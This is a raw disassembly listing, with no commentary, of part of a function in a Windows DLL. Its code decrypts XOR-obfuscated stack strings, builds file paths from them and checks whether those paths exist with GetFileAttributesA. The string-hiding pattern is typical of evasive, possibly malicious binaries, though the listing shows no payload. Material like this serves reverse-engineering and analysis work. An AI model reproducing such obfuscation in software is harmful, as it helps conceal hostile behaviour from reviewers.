jmp 0x180035866
mov byte [rbp + 0x1e6], al
mov byte [rbp + 0x1e7], al
movabs rax, 0xfc102ac3cdc33085
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x18e0], rax
movabs rax, 0x7093e1f87a376eaf
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x18e8], rax
mov qword [rbp + 0x10], r12
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x18f0], rax
mov qword [rbp + 0x10], r14
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x18f8], rax
mov qword [rbp + 0x10], r15
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0xc9a0], rax
mov qword [rbp + 0x10], rdi
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0xc9a8], rax
mov qword [rbp + 0x10], r12
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0xc9b0], rax
mov qword [rbp + 0x10], r14
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0xc9b8], rax
vmovdqu ymm0, ymmword [rbp + 0xc9a0]
vpxor ymm1, ymm0, ymmword [rbp + 0x18e0]
vmovdqa ymmword [rbp + 0x18e0], ymm1
lea rdx, [rbp + 0x18e0]
lea rcx, [rbp + 0x43d0]
vzeroupper
call fcn.180004520
nop
xor eax, eax
mov byte [rbp + 0x1e8], al
mov byte [rbp + 0x1e9], al
movabs rsi, 0x897c189986863485
mov qword [rbp + 0x10], rsi
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x9b0], rax
mov qword [rbp + 0x10], rdi
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x9b8], rax
mov qword [rbp + 0x10], r15
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0xaf40], rax
mov qword [rbp + 0x10], rdi
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0xaf48], rax
movdqa xmm0, xmmword [rbp + 0x9b0]
pxor xmm0, xmmword [rbp + 0xaf40]
movdqa xmmword [rbp + 0x9b0], xmm0
lea rdx, [rbp + 0x9b0]
lea rcx, [rbp + 0x43b0]
call fcn.180004520
nop
lea rdx, [rbp + 0x43d0]
lea rcx, [rbp + 0x7950]
call fcn.1800553f0
mov rbx, rax
lea rdx, [rbp + 0x43b0]
lea rcx, [rbp + 0x7930]
call fcn.1800553f0
nop
mov r8, rax
mov rdx, qword [rbp + 0x2f8]
lea rcx, [rbp + 0x7910]
call fcn.180041ee0
nop
mov r8, r13
mov rdx, rax
lea rcx, [rbp + 0x78f0]
call fcn.180041f40
nop
mov r8, rbx
mov rdx, rax
lea rcx, [rbp + 0x78d0]
call fcn.180041fa0
mov rdx, rax
lea rcx, [rbp + 0xa4c0]
call fcn.180040880
lea rcx, [rbp + 0x78d0]
call fcn.180040870
nop
lea rcx, [rbp + 0x78f0]
call fcn.180040870
nop
lea rcx, [rbp + 0x7910]
call fcn.180040870
nop
lea rcx, [rbp + 0x7930]
call fcn.180040870
nop
lea rcx, [rbp + 0x7950]
call fcn.180040870
nop
lea rcx, [rbp + 0x43b0]
call fcn.180040870
nop
lea rcx, [rbp + 0x43d0]
call fcn.180040870
xor al, al
mov byte [rbp + 0xa310], al
lea rcx, [rbp + 0xa4c0]
call fcn.18003dd10
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
je 0x180035e45
lea rcx, [rbp + 0xa5d0]
call fcn.180040900
nop
xor eax, eax
cmp byte [rbp + 0xa310], al
je 0x180035bbb
mov byte [rbp + 0x1ea], al
mov byte [rbp + 0x1eb], al
movabs rax, 0xba322bfad3f93394
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x1900], rax
movabs rax, 0x7de3dfff792f1884
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x1908], rax
movabs rax, 0xfb38a9272c2dc422
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x1910], rax
mov qword [rbp + 0x10], r14
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x1918], rax
mov qword [rbp + 0x10], r15
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0xc9c0], rax
mov qword [rbp + 0x10], rdi
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0xc9c8], rax
mov qword [rbp + 0x10], r12
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0xc9d0], rax
mov qword [rbp + 0x10], r14
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0xc9d8], rax
vmovdqu ymm0, ymmword [rbp + 0xc9c0]
vpxor ymm1, ymm0, ymmword [rbp + 0x1900]
vmovdqa ymmword [rbp + 0x1900], ymm1
lea rdx, [rbp + 0x1900]
lea rcx, [rbp + 0x4430]
vzeroupper
call fcn.180004520
nop
xor eax, eax
mov byte [rbp + 0x1ec], al
mov byte [rbp + 0x1ed], al
movabs rax, 0x897c189986863494
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x9c0], rax
mov qword [rbp + 0x10], rdi
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x9c8], rax
mov qword [rbp + 0x10], r15
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0xaf30], rax
mov qword [rbp + 0x10], rdi
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0xaf38], rax
movdqa xmm0, xmmword [rbp + 0x9c0]
pxor xmm0, xmmword [rbp + 0xaf30]
movdqa xmmword [rbp + 0x9c0], xmm0
lea rdx, [rbp + 0x9c0]
lea rcx, [rbp + 0x4410]
call fcn.180004520
nop
xor eax, eax
mov byte [rbp + 0x1ee], al
mov byte [rbp + 0x1ef], al
mov qword [rbp + 0x10], rsi
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x9d0], rax
mov qword [rbp + 0x10], rdi
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x9d8], rax
mov qword [rbp + 0x10], r15
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0xaf20], rax
mov qword [rbp + 0x10], rdi
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0xaf28], rax
movdqa xmm0, xmmword [rbp + 0x9d0]
pxor xmm0, xmmword [rbp + 0xaf20]
movdqa xmmword [rbp + 0x9d0], xmm0
lea rdx, [rbp + 0x9d0]
lea rcx, [rbp + 0x43f0]
call fcn.180004520
nop
lea rdx, [rbp + 0x4430]
lea rcx, [rbp + 0x7a50]
call fcn.1800553f0
mov rsi, rax
lea rdx, [rbp + 0x4410]
lea rcx, [rbp + 0x7a30]
call fcn.1800553f0
mov rbx, rax
lea rdx, [rbp + 0x43f0]
lea rcx, [rbp + 0x7a10]
call fcn.1800553f0
nop
mov r8, rax
lea rdx, [rbp + 0xa570]
lea rcx, [rbp + 0x79f0]
call fcn.180041ee0
nop
mov r8, qword [rbp + 0x2e8]
mov rdx, rax
lea rcx, [rbp + 0x79d0]
call fcn.180041f40
nop
mov r8, rbx
mov rdx, rax
lea rcx, [rbp + 0x79b0]
call fcn.180041fa0
nop
mov r8, r13
mov rdx, rax
lea rcx, [rbp + 0x7990]
call fcn.180041f40
nop
mov r8, rsi
mov rdx, rax
lea rcx, [rbp + 0x7970]
call fcn.180041fa0
mov rdx, rax
lea rcx, [rbp + 0xa5d0]
call fcn.180040880
lea rcx, [rbp + 0x7970]
call fcn.180040870
nop
lea rcx, [rbp + 0x7990]
call fcn.180040870
nop
lea rcx, [rbp + 0x79b0]
call fcn.180040870
nop
lea rcx, [rbp + 0x79d0]
call fcn.180040870
nop
lea rcx, [rbp + 0x79f0]
call fcn.180040870
nop
lea rcx, [rbp + 0x7a10]
call fcn.180040870
nop
lea rcx, [rbp + 0x7a30]
call fcn.180040870
nop
lea rcx, [rbp + 0x7a50]
call fcn.180040870
nop
lea rcx, [rbp + 0x43f0]
call fcn.180040870
nop
lea rcx, [rbp + 0x4410]
call fcn.180040870
nop
lea rcx, [rbp + 0x4430]
call fcn.180040870
mov rsi, qword [rbp + 0x2e8]
jmp 0x180035dd8
mov byte [rbp + 0x1f0], al
mov byte [rbp + 0x1f1], al
movabs rax, 0xba322bfad3f93394
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x1920], rax
movabs rax, 0x7de3dfff792f1884
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x1928], rax
movabs rax, 0xfb38a9272c2dc422
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x1930], rax
mov qword [rbp + 0x10], r14
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x1938], rax
mov qword [rbp + 0x10], r15
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0xc9e0], rax
mov qword [rbp + 0x10], rdi
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0xc9e8], rax
mov qword [rbp + 0x10], r12
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0xc9f0], rax
mov qword [rbp + 0x10], r14
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0xc9f8], rax
vmovdqu ymm0, ymmword [rbp + 0xc9e0]
vpxor ymm1, ymm0, ymmword [rbp + 0x1920]
vmovdqa ymmword [rbp + 0x1920], ymm1
lea rdx, [rbp + 0x1920]
lea rcx, [rbp + 0x4470]
vzeroupper
call fcn.180004520
nop
xor eax, eax
mov byte [rbp + 0x1f2], al
mov byte [rbp + 0x1f3], al
mov qword [rbp + 0x10], rsi
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x9e0], rax
mov qword [rbp + 0x10], rdi
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x9e8], rax
mov qword [rbp + 0x10], r15
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0xaf10], rax
mov qword [rbp + 0x10], rdi
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0xaf18], rax
movdqa xmm0, xmmword [rbp + 0x9e0]
pxor xmm0, xmmword [rbp + 0xaf10]
movdqa xmmword [rbp + 0x9e0], xmm0
lea rdx, [rbp + 0x9e0]
lea rcx, [rbp + 0x4450]
call fcn.180004520
nop
lea rdx, [rbp + 0x4470]
lea rcx, [rbp + 0x7af0]
call fcn.1800553f0
mov rbx, rax
lea rdx, [rbp + 0x4450]
lea rcx, [rbp + 0x7ad0]
call fcn.1800553f0
nop
mov r8, rax
lea rdx, [rbp + 0xa570]
lea rcx, [rbp + 0x7ab0]
call fcn.180041ee0
nop
mov rsi, qword [rbp + 0x2e8]
mov r8, rsi
mov rdx, rax
lea rcx, [rbp + 0x7a90]
call fcn.180041f40
nop
mov r8, rbx
mov rdx, rax
lea rcx, [rbp + 0x7a70]
call fcn.180041fa0
mov rdx, rax
lea rcx, [rbp + 0xa5d0]
call fcn.180040880
lea rcx, [rbp + 0x7a70]
call fcn.180040870
nop
lea rcx, [rbp + 0x7a90]
call fcn.180040870
nop
lea rcx, [rbp + 0x7ab0]
call fcn.180040870
nop
lea rcx, [rbp + 0x7ad0]
call fcn.180040870
nop
lea rcx, [rbp + 0x7af0]
call fcn.180040870
nop
lea rcx, [rbp + 0x4450]
call fcn.180040870
nop
lea rcx, [rbp + 0x4470]
call fcn.180040870
lea rax, [rbp + 0xa310]
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], r13
mov r9, rsi
lea r8, [rbp + 0xa5d0]
lea rdx, [rbp + 0xa3e0]
lea rcx, [rbp + 0xa4c0]
call fcn.180021c60
nop
lea rcx, [rbp + 0xa5d0]
call fcn.180040870
nop
jmp 0x180035e4c
mov rsi, qword [rbp + 0x2e8]
lea rcx, [rbp + 0xa4c0]
call fcn.180040870
add r13, 0x20
mov qword [rbp + 0x300], r13
mov rax, qword [rbp + 0x310]
jmp 0x180035316
lea rcx, [rbp + 0xa570]
call fcn.180040870
nop
lea rcx, [rbp + 0xa458]
call fcn.18003f480
nop
lea rcx, [rbp + 0xa470]
call fcn.18003f750
nop
lea rcx, [rbp + 0xa838]
call fcn.180040870
nop
lea rcx, [rbp + 0xa338]
call fcn.180040870
movabs r13, 0x14225300d2a7466a
call fcn.180004e10
cmp byte [rbp + 0x2f], 0
je 0x18003b617
mov edx, 0x18
lea rcx, [rbp + 0xa3f8]
call fcn.1800082e0
xor eax, eax
mov byte [rbp + 0x1f4], al
mov byte [rbp + 0x1f5], al
movabs rbx, 0xbd455ffbd28218be
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x1940], rax
movabs rax, 0x70ebf7fe642b46aa
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1948], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x1950], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x1958], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0xca00], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0xca08], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0xca10], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0xca18], rax
vmovdqu ymm0, ymmword [rbp + 0xca00]
vpxor ymm1, ymm0, ymmword [rbp + 0x1940]
vmovdqa ymmword [rbp + 0x1940], ymm1
lea rdx, [rbp + 0x1940]
lea rcx, [rbp + 0x4ef0]
vzeroupper
call fcn.180004520
nop
xor eax, eax
mov byte [rbp + 0x1f6], al
mov byte [rbp + 0x1f7], al
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x1960], rax
movabs rax, 0x70e294fe681546aa
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1968], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x1970], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x1978], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0xca20], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0xca28], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0xca30], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0xca38], rax
vmovdqu ymm0, ymmword [rbp + 0xca20]
vpxor ymm1, ymm0, ymmword [rbp + 0x1960]
vmovdqa ymmword [rbp + 0x1960], ymm1
lea rdx, [rbp + 0x1960]
lea rcx, [rbp + 0x4ed0]
vzeroupper
call fcn.180004520
nop
lea rdx, [rbp + 0x4ef0]
lea rcx, [rbp + 0x8570]
call fcn.1800553f0
mov rbx, rax
lea rdx, [rbp + 0x4ed0]
lea rcx, [rbp + 0x8550]
call fcn.1800553f0
nop
mov r8, rax
mov rdx, rbx
lea rcx, [rbp + 0x9880]
call fcn.180042fa0
nop
xor eax, eax
mov byte [rbp + 0x1f8], al
mov byte [rbp + 0x1f9], al
movabs rbx, 0xf90475c38bed18bf
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x1980], rax
movabs rax, 0x70e694fe78506883
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1988], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x1990], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x1998], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0xca40], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0xca48], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0xca50], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0xca58], rax
vmovdqu ymm0, ymmword [rbp + 0xca40]
vpxor ymm1, ymm0, ymmword [rbp + 0x1980]
vmovdqa ymmword [rbp + 0x1980], ymm1
lea rdx, [rbp + 0x1980]
lea rcx, [rbp + 0x4eb0]
vzeroupper
call fcn.180004520
nop
xor eax, eax
mov byte [rbp + 0x1fa], al
mov byte [rbp + 0x1fb], al
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x19a0], rax
movabs rax, 0x38ef94ff63506883
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x19a8], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x19b0], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x19b8], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0xca60], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0xca68], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0xca70], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0xca78], rax
vmovdqu ymm0, ymmword [rbp + 0xca60]
vpxor ymm1, ymm0, ymmword [rbp + 0x19a0]
vmovdqa ymmword [rbp + 0x19a0], ymm1
lea rdx, [rbp + 0x19a0]
lea rcx, [rbp + 0x4e90]
vzeroupper
call fcn.180004520
nop
lea rdx, [rbp + 0x4eb0]
lea rcx, [rbp + 0x8530]
call fcn.1800553f0
mov rbx, rax
lea rdx, [rbp + 0x4e90]
lea rcx, [rbp + 0x8510]
call fcn.1800553f0
nop
mov r8, rax
mov rdx, rbx
lea rcx, [rbp + 0x98c0]
call fcn.180042fa0
nop
xor eax, eax
mov byte [rbp + 0x1fc], al
mov byte [rbp + 0x1fd], al
movabs rbx, 0xf0324fc3ced722bf
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x19c0], rax
movabs rax, 0x21e3cbd0223f7cbf
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x19c8], rax
movabs rax, 0xfb38a9272c41cd23
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x19d0], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x19d8], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0xca80], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0xca88], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0xca90], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0xca98], rax
vmovdqu ymm0, ymmword [rbp + 0xca80]
vpxor ymm1, ymm0, ymmword [rbp + 0x19c0]
vmovdqa ymmword [rbp + 0x19c0], ymm1
lea rdx, [rbp + 0x19c0]
lea rcx, [rbp + 0x4e70]
vzeroupper
call fcn.180004520
nop
xor eax, eax
mov byte [rbp + 0x1fe], al
mov byte [rbp + 0x1ff], al
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x19e0], rax
movabs rax, 0x37a6cbd0223f7cbf
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x19e8], rax
movabs rsi, 0xfb38a9272c48be25
mov qword [rbp], rsi
mov rax, qword [rbp]
mov qword [rbp + 0x19f0], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x19f8], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0xcaa0], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0xcaa8], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0xcab0], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0xcab8], rax
vmovdqu ymm0, ymmword [rbp + 0xcaa0]
vpxor ymm1, ymm0, ymmword [rbp + 0x19e0]
vmovdqa ymmword [rbp + 0x19e0], ymm1
lea rdx, [rbp + 0x19e0]
lea rcx, [rbp + 0x4e50]
vzeroupper
call fcn.180004520
nop
lea rdx, [rbp + 0x4e70]
lea rcx, [rbp + 0x84f0]
call fcn.1800553f0
mov rbx, rax
lea rdx, [rbp + 0x4e50]
lea rcx, [rbp + 0x84d0]
call fcn.1800553f0
nop
mov r8, rax
mov rdx, rbx
lea rcx, [rbp + 0x9900]
call fcn.180042fa0
nop
xor eax, eax
mov byte [rbp + 0x200], al
mov byte [rbp + 0x201], al
movabs rax, 0xfa3e76d5d3e94784
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x9f0], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0x9f8], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0xb2d0], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0xb2d8], rax
movdqa xmm0, xmmword [rbp + 0x9f0]
pxor xmm0, xmmword [rbp + 0xb2d0]
movdqa xmmword [rbp + 0x9f0], xmm0
lea rdx, [rbp + 0x9f0]
lea rcx, [rbp + 0x4e30]
call fcn.180004520
nop
xor eax, eax
mov byte [rbp + 0x202], al
mov byte [rbp + 0x203], al
movabs rax, 0xf30c75d5d3e94784
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xa00], rax
movabs rax, 0x4dd6a69c2f511984
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xa08], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0xb2c0], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0xb2c8], rax
movdqa xmm0, xmmword [rbp + 0xa00]
pxor xmm0, xmmword [rbp + 0xb2c0]
movdqa xmmword [rbp + 0xa00], xmm0
lea rdx, [rbp + 0xa00]
lea rcx, [rbp + 0x4e10]
call fcn.180004520
nop
lea rdx, [rbp + 0x4e30]
lea rcx, [rbp + 0x84b0]
call fcn.1800553f0
mov rbx, rax
lea rdx, [rbp + 0x4e10]
lea rcx, [rbp + 0x8490]
call fcn.1800553f0
nop
mov r8, rax
mov rdx, rbx
lea rcx, [rbp + 0x9940]
call fcn.180042fa0
nop
xor eax, eax
mov byte [rbp + 0x204], al
mov byte [rbp + 0x205], al
movabs rax, 0xfa3a5ffdc28232be
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1a00], rax
movabs rax, 0x7c9cc8c5621d46aa
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1a08], rax
movabs rax, 0xc605e8456649f524
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1a10], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x1a18], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0xcac0], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0xcac8], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0xcad0], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0xcad8], rax
vmovdqu ymm0, ymmword [rbp + 0xcac0]
vpxor ymm1, ymm0, ymmword [rbp + 0x1a00]
vmovdqa ymmword [rbp + 0x1a00], ymm1
lea rdx, [rbp + 0x1a00]
lea rcx, [rbp + 0x4df0]
vzeroupper
call fcn.180004520
nop
xor eax, eax
mov byte [rbp + 0x206], al
mov byte [rbp + 0x207], al
movabs rax, 0xf32a76fad2d732bf
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1a20], rax
movabs rax, 0x70e294fe681546aa
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1a28], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x1a30], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x1a38], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0xcea0], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0xcea8], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0xceb0], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0xceb8], rax
vmovdqu ymm0, ymmword [rbp + 0xcea0]
vpxor ymm1, ymm0, ymmword [rbp + 0x1a20]
vmovdqa ymmword [rbp + 0x1a20], ymm1
lea rdx, [rbp + 0x1a20]
lea rcx, [rbp + 0x4dd0]
vzeroupper
call fcn.180004520
nop
lea rdx, [rbp + 0x4df0]
lea rcx, [rbp + 0x8470]
call fcn.1800553f0
mov rbx, rax
lea rdx, [rbp + 0x4dd0]
lea rcx, [rbp + 0x8450]
call fcn.1800553f0
nop
mov r8, rax
mov rdx, rbx
lea rcx, [rbp + 0x9980]
call fcn.180042fa0
nop
xor eax, eax
mov byte [rbp + 0x208], al
mov byte [rbp + 0x209], al
movabs rax, 0xff3275d58ffd22bf
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x350], rax
movabs rax, 0x4dd6a69c2f587a84
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x358], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0xb0a0], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0xb0a8], rax
movdqa xmm0, xmmword [rbp + 0x350]
pxor xmm0, xmmword [rbp + 0xb0a0]
movdqa xmmword [rbp + 0x350], xmm0
lea rdx, [rbp + 0x350]
lea rcx, [rbp + 0x4db0]
call fcn.180004520
nop
xor eax, eax
mov byte [rbp + 0x20a], al
mov byte [rbp + 0x20b], al
movabs rax, 0xbd3a4ffbcdf132bc
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1a40], rax
movabs rax, 0x70e294fe681546aa
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1a48], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x1a50], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x1a58], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0xcae0], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0xcae8], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0xcaf0], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0xcaf8], rax
vmovdqu ymm0, ymmword [rbp + 0xcae0]
vpxor ymm1, ymm0, ymmword [rbp + 0x1a40]
vmovdqa ymmword [rbp + 0x1a40], ymm1
lea rdx, [rbp + 0x1a40]
lea rcx, [rbp + 0x4d90]
vzeroupper
call fcn.180004520
nop
lea rdx, [rbp + 0x4db0]
lea rcx, [rbp + 0x8430]
call fcn.1800553f0
mov rbx, rax
lea rdx, [rbp + 0x4d90]
lea rcx, [rbp + 0x8410]
call fcn.1800553f0
nop
mov r8, rax
mov rdx, rbx
lea rcx, [rbp + 0x99c0]
call fcn.180042fa0
nop
xor eax, eax
mov byte [rbp + 0x20c], al
mov byte [rbp + 0x20d], al
movabs rbx, 0xbc2a75fbc1d73287
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x1a60], rax
movabs rax, 0x27e3dfff231d6c85
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1a68], rax
movabs rax, 0xfb38a9272c4cbe25
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1a70], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x1a78], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0xcb00], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0xcb08], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0xcb10], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0xcb18], rax
vmovdqu ymm0, ymmword [rbp + 0xcb00]
vpxor ymm1, ymm0, ymmword [rbp + 0x1a60]
vmovdqa ymmword [rbp + 0x1a60], ymm1
lea rdx, [rbp + 0x1a60]
lea rcx, [rbp + 0x4d70]
vzeroupper
call fcn.180004520
nop
xor eax, eax
mov byte [rbp + 0x20e], al
mov byte [rbp + 0x20f], al
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x1a80], rax
movabs rax, 0x38ef94ff635052ad
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1a88], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x1a90], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x1a98], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0xcb20], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0xcb28], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0xcb30], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0xcb38], rax
vmovdqu ymm0, ymmword [rbp + 0xcb20]
vpxor ymm1, ymm0, ymmword [rbp + 0x1a80]
vmovdqa ymmword [rbp + 0x1a80], ymm1
lea rdx, [rbp + 0x1a80]
lea rcx, [rbp + 0x4d50]
vzeroupper
call fcn.180004520
nop
lea rdx, [rbp + 0x4d70]
lea rcx, [rbp + 0x83f0]
call fcn.1800553f0
mov rbx, rax
lea rdx, [rbp + 0x4d50]
lea rcx, [rbp + 0x83d0]
call fcn.1800553f0
nop
mov r8, rax
mov rdx, rbx
lea rcx, [rbp + 0x9a00]
call fcn.180042fa0
nop
xor eax, eax
mov byte [rbp + 0x210], al
mov byte [rbp + 0x211], al
movabs rbx, 0xfc0b4ff8d38a4787
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x360], rax
movabs rax, 0x4dd6a69c665c19bf
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x368], rax
mov qword [rbp], r15
